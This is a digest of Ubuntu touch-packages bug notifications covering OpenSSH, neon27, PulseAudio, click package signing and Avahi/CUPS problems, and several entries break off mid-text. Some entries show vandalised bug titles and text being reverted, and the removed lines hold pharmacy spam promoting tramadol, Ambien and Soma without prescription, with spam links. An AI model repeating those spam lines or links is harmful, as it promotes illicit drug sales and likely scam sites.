In other words, somebody published the neon27 update for OpenSSL 1.1.1
without the corresponding OpenSSL 1.1.1 update that it depends on.

I guess this will be resolved once
https://launchpad.net/ubuntu/+source/openssl/1.1.1-1ubuntu2.1~18.04.1 is
published to bionic-updates, but I'm subscribing a couple of people
involved with the update anyway since this seems like a significant
process failure.

** Project changed: launchpad-buildd => neon27 (Ubuntu)

** Also affects: neon27 (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** No longer affects: neon27 (Ubuntu)

** Changed in: neon27 (Ubuntu Bionic)
   Status: New => Triaged

** Changed in: neon27 (Ubuntu Bionic)
   Importance: Undecided => Critical

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to neon27 in Ubuntu.
https://bugs.launchpad.net/bugs/1832077

Title:
  libneon27-dev builddep can not be installed in recipebuild

Status in neon27 source package in Bionic:
  Triaged

Bug description:
  It is seems there is an issue with LP buildd in recipebuild. This only 
happens to me in Bionic: 
https://launchpadlibrarian.net/426714753/buildlog.txt.gz
  The other distributions are not affected: 
https://code.launchpad.net/~far2l-team/+recipe/far2l-daily

  Reading package lists...
  Reading package lists...
  Building dependency tree...
  Reading state information...
  Some packages could not be installed. This may mean that you have
  requested an impossible situation or if you are using the unstable
  distribution that some required packages have not yet been created
  or been moved out of Incoming.
  The following information may help to resolve the situation:

  The following packages have unmet dependencies:
   builddeps:far2l : Depends: libneon27-dev but it is not going to be installed
  E: Unable to correct problems, you have held broken packages.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/bionic/+source/neon27/+bug/1832077/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1661745] Re: ssh-keyscan does not exit with non-zero return code on error

[Colin Watson]

** Bug watch added: Debian Bug tracker #374980
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=374980

** Also affects: openssh (Debian) via
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=374980
   Importance: Unknown
   Status: Unknown

** Bug watch added: OpenSSH Portable Bugzilla #2903
   https://bugzilla.mindrot.org/show_bug.cgi?id=2903

** Also affects: openssh via
   https://bugzilla.mindrot.org/show_bug.cgi?id=2903
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1661745

Title:
  ssh-keyscan does not exit with non-zero return code on error

Status in portable OpenSSH:
  Unknown
Status in openssh package in Ubuntu:
  New
Status in openssh package in Debian:
  Unknown

Bug description:
  On xenial, ssh-keyscan returns zero indicating success, when the
  command fails.

  root@cp1:~# lsb_release -d
  Description:  Ubuntu 16.04.1 LTS

  root@cp1:~# ssh-keyscan -H -t ssh-rsa bad-host
  getaddrinfo bad-host: Name or service not known
  root@cp1:~# echo $?
  0

  On trusty, the exit status is non-zero as expected.

  root@integration-deployer:/home/ubuntu# lsb_release -d
  Description:  Ubuntu 14.04.5 LTS

  root@integration-deployer:/home/ubuntu# ssh-keyscan -H -t ssh-rsa bad-host
  getaddrinfo bad-host: Name or service not known
  root@integration-deployer:/home/ubuntu# echo $?
  255

  This is a incompatibility between Ubuntu 14.04 and 16.04

To manage notifications about this bug go to:
https://bugs.launchpad.net/openssh/+bug/1661745/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1445625] Re: Change the default RSA generation from 2048 to 4096

[Colin Watson]

OpenSSH 8.0 changes the default RSA key size to 3072 bits.  I think this
is sufficient, so we'll follow that.

** Summary changed:

- Change the default RSA generation from 2048 to 4096
+ Change the default RSA generation from 2048 to 3072

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1445625

Title:
  Change the default RSA generation from 2048 to 3072

Status in openssh package in Ubuntu:
  Confirmed

Bug description:
  For security purposes, the Ubuntu Distro should consider changing the
  default RSA generation from 2048 to 4096. This is a could be a
  somewhat disruptive change (e.g. accessing older Cisco devices may not
  work).  We should still try to consider this and target this for
  16.04.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1445625/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1827842] Re: pulseaudio should not load module-x11-bell in gnome-shell

[Colin Watson]

** Project changed: launchpad => pulseaudio (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1827842

Title:
  pulseaudio should not load module-x11-bell in gnome-shell

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  The package `pulseaudio` installs a startup script in 
`/etc/xdg/autostart/pulseaudio.desktop`,
  which itself runs `/usr/bin/start-pulseaudio-x11`,
  which loads a number of x11 related modules in `pulseaudio`.

  One of these modules is `module-x11-bell`,
  which makes `pulseaudio` play a sound each time a system bell is emitted
  (usually by terminal applications, such as bash or vim).

  This is redundant with gnome-shell, which is also able to handle the system 
bell
  (through the gsetting key `org.gnome.desktop.sound event-sounds`).

  The gnome system bell is directly configurable by the user (Settings > Sound),
  so it should be preferred over pulseaudio's own system bell.

  I suggest to patch the `/usr/bin/start-pulseaudio-x11`,
  to avoid loading `start-pulseaudio-x11` if it detects it is running in Gnome 
Shell
  (e.g. if GNOME_SHELL_SESSION_MODE is set).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1827842/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1817317] Re: OpenSSH calls itself "OpenBSD Secure Shell" in /etc/init.d/ssh

[Colin Watson]

I don't plan to change this for the same reasons as I gave in the Debian
bug:

  https://bugs.debian.org/923153

** Bug watch added: Debian Bug tracker #923153
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=923153

** Changed in: openssh (Ubuntu)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1817317

Title:
  OpenSSH calls itself "OpenBSD Secure Shell" in /etc/init.d/ssh

Status in openssh package in Ubuntu:
  Won't Fix

Bug description:
  openssh-server.ssh.init.new
  --- openssh-server.ssh.init 2018-11-07 22:52:49.0 +0900
  +++ openssh-server.ssh.init.new 2019-02-22 21:50:05.010233405 +0900
  @@ -6,7 +6,7 @@
   # Required-Stop:   $remote_fs $syslog
   # Default-Start:   2 3 4 5
   # Default-Stop:
  -# Short-Description:   OpenBSD Secure Shell server
  +# Short-Description:   OpenSSH server
   ### END INIT INFO
   
   set -e

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1817317/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1822370] Re: 19.04 beta openssh-client broken pipe

[Colin Watson]

@jsavanyo: Thanks for following up!  The iptables-related part of the
discussion may yet yield an openssh packaging change; we'll see.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1822370

Title:
  19.04 beta openssh-client broken pipe

Status in openssh package in Ubuntu:
  Triaged
Status in openssh package in Debian:
  New

Bug description:
  New versions of openssh (as in Ubuntu 19.04) are reported to trigger a
  connection issue:

 packet_write_wait: Connection to x.x.x.x port 22: Broken pipe

  In most of the cases this seems to affect VMWare based environments as
  there is a bug in their implementation in regard to the traffic
  shaping protocols.

  Until resolved by VMWare the workarounds for now are:

  Configure your client to use the old defaults permanently in
  =>  /etc/ssh/ssh_config 
  Host *
  IPQoS lowdelay throughput 
  # You might want to limit to your VMware based systems

  Or per command via:
   $ ssh IPQoS="latency throughput" user@host

  Two values as one is for interactive and one for non-interactive use
  cases.

   original report 

  Upgrade to Xubuntu 19.04 beta from 18.10

  openssh-client

  when trying to ssh into another system, following error:

  packet_write_wait: Connection to x.x.x.x port 22: Broken pipe

  Problem is consistent on trying to connect to various systems.

  Can confirm was able to ssh prior to upgrade and can ssh into these
  systems from other systems.

  Can use putty on this system to ssh into these boxes as well.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: openssh-client 1:7.9p1-9
  ProcVersionSignature: Ubuntu 5.0.0-8.9-generic 5.0.1
  Uname: Linux 5.0.0-8-generic x86_64
  ApportVersion: 2.20.10-0ubuntu23
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Fri Mar 29 13:36:38 2019
  InstallationDate: Installed on 2018-11-14 (135 days ago)
  InstallationMedia: Xubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 
(20181017.2)
  ProcEnviron:
   LANGUAGE=en_US
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  RelatedPackageVersions:
   ssh-askpass   N/A
   libpam-sshN/A
   keychain  N/A
   ssh-askpass-gnome N/A
  SSHClientVersion: OpenSSH_7.9p1 Ubuntu-9, OpenSSL 1.1.1b  26 Feb 2019
  SourcePackage: openssh
  UpgradeStatus: Upgraded to disco on 2019-03-29 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1822370/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1822370] Re: 19.04 beta openssh-client broken pipe

[Colin Watson]

@paelzer: A day is a bit soon to be stressing about lack of feedback, I
think.  We have time.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1822370

Title:
  19.04 beta openssh-client broken pipe

Status in openssh package in Ubuntu:
  Triaged
Status in openssh package in Debian:
  New

Bug description:
  New versions of openssh (as in Ubuntu 19.04) are reported to trigger a
  connection issue:

 packet_write_wait: Connection to x.x.x.x port 22: Broken pipe

  In most of the cases this seems to affect VMWare based environments as
  there is a bug in their implementation in regard to the traffic
  shaping protocols.

  Until resolved by VMWare the workarounds for now are:

  Configure your client to use the old defaults permanently in
  =>  /etc/ssh/ssh_config 
  Host *
  IPQoS lowdelay throughput 
  # You might want to limit to your VMware based systems

  Or per command via:
   $ ssh IPQoS="latency throughput" user@host

  Two values as one is for interactive and one for non-interactive use
  cases.

   original report 

  Upgrade to Xubuntu 19.04 beta from 18.10

  openssh-client

  when trying to ssh into another system, following error:

  packet_write_wait: Connection to x.x.x.x port 22: Broken pipe

  Problem is consistent on trying to connect to various systems.

  Can confirm was able to ssh prior to upgrade and can ssh into these
  systems from other systems.

  Can use putty on this system to ssh into these boxes as well.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: openssh-client 1:7.9p1-9
  ProcVersionSignature: Ubuntu 5.0.0-8.9-generic 5.0.1
  Uname: Linux 5.0.0-8-generic x86_64
  ApportVersion: 2.20.10-0ubuntu23
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Fri Mar 29 13:36:38 2019
  InstallationDate: Installed on 2018-11-14 (135 days ago)
  InstallationMedia: Xubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 
(20181017.2)
  ProcEnviron:
   LANGUAGE=en_US
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  RelatedPackageVersions:
   ssh-askpass   N/A
   libpam-sshN/A
   keychain  N/A
   ssh-askpass-gnome N/A
  SSHClientVersion: OpenSSH_7.9p1 Ubuntu-9, OpenSSL 1.1.1b  26 Feb 2019
  SourcePackage: openssh
  UpgradeStatus: Upgraded to disco on 2019-03-29 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1822370/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1822370] Re: 19.04 beta openssh-client broken pipe

[Colin Watson]

I don't want to revert this as that just takes the pressure off VMware;
ultimately this is their bug that they need to fix.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1822370

Title:
  19.04 beta openssh-client broken pipe

Status in openssh package in Ubuntu:
  Triaged

Bug description:
  New versions of openssh (as in Ubuntu 19.04) are reported to trigger a
  connection issue:

 packet_write_wait: Connection to x.x.x.x port 22: Broken pipe

  In most of the cases this seems to affect VMWare based environments as
  there is a bug in their implementation in regard to the traffic
  shaping protocols.

  Until resolved by VMWare the workarounds for now are:

  Configure your client to use the old defaults permanently in
  =>  /etc/ssh/ssh_config 
  Host *
  IPQoS lowdelay throughput 
  # You might want to limit to your VMware based systems

  Or per command via:
   $ ssh IPQoS="latency throughput" user@host

  Two values as one is for interactive and one for non-interactive use
  cases.

   original report 

  Upgrade to Xubuntu 19.04 beta from 18.10

  openssh-client

  when trying to ssh into another system, following error:

  packet_write_wait: Connection to x.x.x.x port 22: Broken pipe

  Problem is consistent on trying to connect to various systems.

  Can confirm was able to ssh prior to upgrade and can ssh into these
  systems from other systems.

  Can use putty on this system to ssh into these boxes as well.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: openssh-client 1:7.9p1-9
  ProcVersionSignature: Ubuntu 5.0.0-8.9-generic 5.0.1
  Uname: Linux 5.0.0-8-generic x86_64
  ApportVersion: 2.20.10-0ubuntu23
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Fri Mar 29 13:36:38 2019
  InstallationDate: Installed on 2018-11-14 (135 days ago)
  InstallationMedia: Xubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 
(20181017.2)
  ProcEnviron:
   LANGUAGE=en_US
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  RelatedPackageVersions:
   ssh-askpass   N/A
   libpam-sshN/A
   keychain  N/A
   ssh-askpass-gnome N/A
  SSHClientVersion: OpenSSH_7.9p1 Ubuntu-9, OpenSSL 1.1.1b  26 Feb 2019
  SourcePackage: openssh
  UpgradeStatus: Upgraded to disco on 2019-03-29 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1822370/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1530807] Re: Bluetooth cannot be activated on several devices

[Colin Watson]

** Summary changed:

- Can you buy Ambien without a script in Miami?
+ Bluetooth cannot be activated on several devices

** Description changed:

  Using RC proposed 04/01/2016 bluetooth cannot be enabled.
- 
- https://usapillspharma.com
  
  Tested on a nexus 7.
  
  Expected behavior:
  Bluetooth slider is moved to on
  Bluetooth activates
  Available devices appear in the list
  
  Experienced behavior:
  Bluetooth slider is moved to on
  Activity spinners appear
  Bluetooth slider moves to off.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to indicator-bluetooth in
Ubuntu.
https://bugs.launchpad.net/bugs/1530807

Title:
  Bluetooth cannot be activated on several devices

Status in The Avila project:
  Fix Committed
Status in Canonical System Image:
  Fix Committed
Status in Canonical Pocket Desktop:
  Fix Committed
Status in indicator-bluetooth package in Ubuntu:
  Triaged
Status in ubuntu-system-settings package in Ubuntu:
  Confirmed

Bug description:
  Using RC proposed 04/01/2016 bluetooth cannot be enabled.

  Tested on a nexus 7.

  Expected behavior:
  Bluetooth slider is moved to on
  Bluetooth activates
  Available devices appear in the list

  Experienced behavior:
  Bluetooth slider is moved to on
  Activity spinners appear
  Bluetooth slider moves to off.

To manage notifications about this bug go to:
https://bugs.launchpad.net/avila/+bug/1530807/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1330770] Re: click packages rely upon tls for integrity and authenticity

[Colin Watson]

** Summary changed:

- Indications of Anxiety Disorder and Depression
+ click packages rely upon tls for integrity and authenticity

** Description changed:

  Hello, I just completed a quick review of the click source and the
  unity-scope-click source and behaviours, and found some opportunities
  for improvement.
- 
- https://usapillspharma.com/
  
  Debian, and Ubuntu, rely upon signed repository files with cryptographic
  hashes of packages to provide both integrity and authenticity checks for
  the packages hosted on that repository.
  
  The click framework and the unity-scope-click discovery and installation
  tool do not use signed repository files, nor do they have signatures of
  any sort on downloaded packages. The only integrity and authenticity
  checks are provided by the use of HTTPS.  The click verify command will
  check files within the archive against MD5sums stored inside the archive
  but the click verify command is not used during package installation.
  (This is suitable for validating integrity against accidental changes
  only.)
  
  While it appears that unity-scope-click properly uses HTTPS to download
  package metadata and packages, HTTPS alone is insufficient for our
  needs:
  
  - Someone in a position to create new certificates at any of several
  hundred certificate authorities could create certificates purporting to
  be our update servers. This actual problem has been discovered in the
  wild with several certificate authorities issuing wild-card certificates
  or even certificates with signing authority.
  
  - X.509 is extremely complicated; TLS is extremely complicated. Flaws in
  both are inevitable.
  
  - HTTPS prevents the use of caching.
  
  - HTTPS only 'works' for data-in-motion; it is useless for data-at-rest
  integrity and authenticity checks.
  
  I have not yet reviewed the tools that application authors will use to
  upload their packages to our distribution servers but note in passing
  that most of these issues are also issues for adding packages to our
  update servers -- packages in flight within our network can be corrupted
  for many reasons, packages on disk can be corrupted for many reasons. A
  signature mechanism can protect against internal network faults, storage
  faults, and provide assurance months or years later that an uploaded
  package was uploaded by someone in control of a corresponding private
  key.
  
  Thanks

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to click in Ubuntu.
https://bugs.launchpad.net/bugs/1330770

Title:
  click packages rely upon tls for integrity and authenticity

Status in Canonical System Image:
  Fix Released
Status in Click Package Index:
  Fix Released
Status in Software Center Agent:
  Fix Released
Status in click package in Ubuntu:
  Fix Released
Status in ubuntu-download-manager package in Ubuntu:
  Confirmed
Status in ubuntu-system-settings package in Ubuntu:
  Fix Released
Status in unity-scope-click package in Ubuntu:
  Fix Released
Status in ubuntu-download-manager source package in Vivid:
  New

Bug description:
  Hello, I just completed a quick review of the click source and the
  unity-scope-click source and behaviours, and found some opportunities
  for improvement.

  Debian, and Ubuntu, rely upon signed repository files with
  cryptographic hashes of packages to provide both integrity and
  authenticity checks for the packages hosted on that repository.

  The click framework and the unity-scope-click discovery and
  installation tool do not use signed repository files, nor do they have
  signatures of any sort on downloaded packages. The only integrity and
  authenticity checks are provided by the use of HTTPS.  The click
  verify command will check files within the archive against MD5sums
  stored inside the archive but the click verify command is not used
  during package installation. (This is suitable for validating
  integrity against accidental changes only.)

  While it appears that unity-scope-click properly uses HTTPS to
  download package metadata and packages, HTTPS alone is insufficient
  for our needs:

  - Someone in a position to create new certificates at any of several
  hundred certificate authorities could create certificates purporting
  to be our update servers. This actual problem has been discovered in
  the wild with several certificate authorities issuing wild-card
  certificates or even certificates with signing authority.

  - X.509 is extremely complicated; TLS is extremely complicated. Flaws
  in both are inevitable.

  - HTTPS prevents the use of caching.

  - HTTPS only 'works' for data-in-motion; it is useless for data-at-
  rest integrity and authenticity checks.

  I have not yet reviewed the tools that application authors will use to
  upload their packages to our distribution servers but note in passing
  that most of these issues are also issues for adding packages to our
  update 

[Touch-packages] [Bug 1240336] Re: After release upgrade, the user loses permissions for several basic actions in the system

[Colin Watson]

** Summary changed:

- Buy Tramadol Online and Familiarize Yourself with Pain Medication
+ After release upgrade, the user loses permissions for several basic actions 
in the system

** Description changed:

  HOW TO REPRODUCE:
  - Upgrade Ubuntu to the next release.
- 
- https://usapillspharma.com/
  
  RESULT:
  - The user looses permissions for several basic actions in the system.
  
  ProblemType: Bug
  DistroRelease: Ubuntu 13.10
  Package: policykit-desktop-privileges 0.16
  ProcVersionSignature: Ubuntu 3.11.0-12.19-generic 3.11.3
  Uname: Linux 3.11.0-12-generic x86_64
  ApportVersion: 2.12.5-0ubuntu2
  Architecture: amd64
  Date: Tue Oct 15 20:20:55 2013
  InstallationDate: Installed on 2013-10-09 (7 days ago)
  InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Beta amd64 (20131008)
  MarkForUpload: True
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=en_US
   TERM=xterm
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: policykit-desktop-privileges
  UpgradeStatus: No upgrade log present (probably fresh install)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1240336

Title:
  After release upgrade, the user loses permissions for several basic
  actions in the system

Status in gdm package in Ubuntu:
  Triaged
Status in lightdm package in Ubuntu:
  Triaged
Status in lxdm package in Ubuntu:
  Triaged
Status in policykit-desktop-privileges package in Ubuntu:
  Triaged

Bug description:
  HOW TO REPRODUCE:
  - Upgrade Ubuntu to the next release.

  RESULT:
  - The user looses permissions for several basic actions in the system.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.10
  Package: policykit-desktop-privileges 0.16
  ProcVersionSignature: Ubuntu 3.11.0-12.19-generic 3.11.3
  Uname: Linux 3.11.0-12-generic x86_64
  ApportVersion: 2.12.5-0ubuntu2
  Architecture: amd64
  Date: Tue Oct 15 20:20:55 2013
  InstallationDate: Installed on 2013-10-09 (7 days ago)
  InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Beta amd64 (20131008)
  MarkForUpload: True
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=en_US
   TERM=xterm
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: policykit-desktop-privileges
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdm/+bug/1240336/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1099184] Re: Avahi reports IPv6/IPv4 and "dnssd" CUPS backend only tries IPv6, no IPv4 fallback

[Colin Watson]

** Summary changed:

- Buy Utram Online No Prescription | Tramadol For Joint Pain
+ Avahi reports IPv6/IPv4 and "dnssd" CUPS backend only tries IPv6, no IPv4 
fallback

** Description changed:

  lsb_release -rd
- Description:Ubuntu 12.04.1 LTS
- Release:12.04
+ Description: Ubuntu 12.04.1 LTS
+ Release: 12.04
  -
  avahi-daemon 0.6.30-5ubuntu2
  cups 1.5.3-0ubuntu6
  
  
- Avahi for  default publishes services also in IPv6 as in 
/etc/avahi/avahi-daemon.conf there is
+ Avahi for default publishes services also in IPv6 as in 
/etc/avahi/avahi-daemon.conf there is
  use-ipv6=yes
  
  At the same time services are listening on IPv4 addresses only.
  
  Cups is able to discover published printers via dnssd protocol but its
  ipp backend prints only on the IPv6 resolved address which does not
  answer and it does not try the IPv4 address.
  
  
- Excerpt from "avahi-browse -a -t -r"  to show the IPv6 and IPv4 addresses
+ Excerpt from "avahi-browse -a -t -r" to show the IPv6 and IPv4 addresses
  
- +  wlan0 IPv6 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer  
   local
- +  wlan0 IPv4 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer  
   local
- +  wlan0 IPv6 MobilIgor5a [00:26:82:9d:b9:6d]   Workstation   
   local
- +  wlan0 IPv6 hjemme [00:40:f4:ff:55:32]Workstation   
   local
+ + wlan0 IPv6 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local
+ + wlan0 IPv4 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local
+ + wlan0 IPv6 MobilIgor5a [00:26:82:9d:b9:6d] Workstation local
+ + wlan0 IPv6 hjemme [00:40:f4:ff:55:32] Workstation local
  
  []
  
- =  wlan0 IPv6 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer  
   local
-    hostname = [hjemme.local]
-    address = [fe80::240:f4ff:feff:5532]
-    port = [631]
-    txt = ["printer-type=0x900E" "printer-state=3" "Scan=F" "Sort=F" "Bind=F" 
"Punch=F" "Collate=F" "Copies=F" "Staple=F" "Duplex=F" "Color=T" "Fax=F" 
"Binary=F" "Transparent=F" "TLS=1.2" 
"UUID=1577ef95-eecb-3eae-6d02-aa29003eb546" "URF=DM3" 
"pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf"
 "product=(HP LaserJet 1100xi Printer)" "priority=0" "note=hjemme" 
"adminurl=https://rxsecureweb.com/; "ty=HP LaserJet 1100, hpcups 3.12.2" 
"rp=printers/Hewlett-Packard-HP-LaserJet-1100" "qtotal=1" "txtvers=1"]
- =  wlan0 IPv6 hjemmeRemote Disk 
Management local
-    hostname = [hjemme.local]
-    address = [fe80::240:f4ff:feff:5532]
-    port = [22]
-    txt = []
- =  wlan0 IPv6 hjemme [00:40:f4:ff:55:32]Workstation   
   local
-    hostname = [hjemme.local]
-    address = [fe80::240:f4ff:feff:5532]
-    port = [9]
-    txt = []
- =  wlan0 IPv4 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer  
   local
-    hostname = [hjemme.local]
-    address = [192.168.1.2]
-    port = [631]
-    txt = ["printer-type=0x900E" "printer-state=3" "Scan=F" "Sort=F" "Bind=F" 
"Punch=F" "Collate=F" "Copies=F" "Staple=F" "Duplex=F" "Color=T" "Fax=F" 
"Binary=F" "Transparent=F" "TLS=1.2" 
"UUID=1577ef95-eecb-3eae-6d02-aa29003eb546" "URF=DM3" 
"pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf"
 "product=(HP LaserJet 1100xi Printer)" "priority=0" "note=hjemme" 
"adminurl=https://rxsecureweb.com/; "ty=HP LaserJet 1100, hpcups 3.12.2" 
"rp=printers/Hewlett-Packard-HP-LaserJet-1100" "qtotal=1" "txtvers=1"]
+ = wlan0 IPv6 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local
+hostname = [hjemme.local]
+address = [fe80::240:f4ff:feff:5532]
+port = [631]
+txt = ["printer-type=0x900E" "printer-state=3" "Scan=F" "Sort=F" "Bind=F" 
"Punch=F" "Collate=F" "Copies=F" "Staple=F" "Duplex=F" "Color=T" "Fax=F" 
"Binary=F" "Transparent=F" "TLS=1.2" 
"UUID=1577ef95-eecb-3eae-6d02-aa29003eb546" "URF=DM3" 
"pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf"
 "product=(HP LaserJet 1100xi Printer)" "priority=0" "note=hjemme" 
"adminurl=http://hjemme.local:631/printers/Hewlett-Packard-HP-LaserJet-1100; 
"ty=HP LaserJet 1100, hpcups 3.12.2" 
"rp=printers/Hewlett-Packard-HP-LaserJet-1100" "qtotal=1" "txtvers=1"]
+ = wlan0 IPv6 hjemme Remote Disk Management local
+hostname = [hjemme.local]
+address = [fe80::240:f4ff:feff:5532]
+port = [22]
+txt = []
+ = wlan0 IPv6 hjemme [00:40:f4:ff:55:32] Workstation local
+hostname = [hjemme.local]
+address = [fe80::240:f4ff:feff:5532]
+port = [9]
+txt = []
+ = wlan0 IPv4 Hewlett-Packard HP LaserJet 1100 @ hjemme Internet Printer local
+hostname = [hjemme.local]
+address = [192.168.1.2]
+port = [631]
+txt = ["printer-type=0x900E" "printer-state=3" "Scan=F" "Sort=F" "Bind=F" 
"Punch=F" "Collate=F" 

[Touch-packages] [Bug 80900] Re: Avahi daemon prevents resolution of FQDNs ending in ".local" due to false negatives in the detection of ".local" networks

[Colin Watson]

** Summary changed:

- How Can I Buy Soma Online? | Order Carisoprodol Online
+ Avahi daemon prevents resolution of FQDNs ending in ".local" due to false 
negatives in the detection of ".local" networks

** Description changed:

  Install Kubuntu Feisty
  Set the ip address to dhcp for eth0 (ethernet port)
  make sure the host name and domain name are set
  Hostname computer1
  DomainName mydomain.local
- https://rxsecureweb.com
  allow DHCP to assign the IP address
  
  Ensure the computer details are registered in DNS for mydomain.local...
  
  computer names registered in DNS (FQDN)
  computer1.mydomain.local
  computer2.mydomain.local
  computer3.mydomain.local
  
  computer2 and computer3 are both running Kubuntu Dapper and are both
  using DHCP.
  
  if I issue the following comands on computer2 or computer3, it works
  correctly:
  
  ping computer2  (response received - ping good)
  ping computer3  (response received - ping good)
  ping computer2.mydomain.local   (response received - ping good)
  ping computer3.mydomain.local   (response received - ping good)
  
  if i issue the same commands from the feisty box (computer1), these are
  the results..
  
  ping computer2   (response received - ping good)
  ping computer3   (response received - ping good)
  ping computer2.mydomain.local   (unknown host)
  ping computer3.mydomain.local  (unknown host)
- https://rxsecureweb.com
  for some reason if you try to ping the fully qualified domain name on feisty, 
it cant resolve it, yet it can resolve it using both static IP Addressing and 
DHCP addressing on Dapper. (i set the IP to static as well for the test) Static 
and DHCP on Dapper works fine. Static and DHCP wont resolve fully qualified 
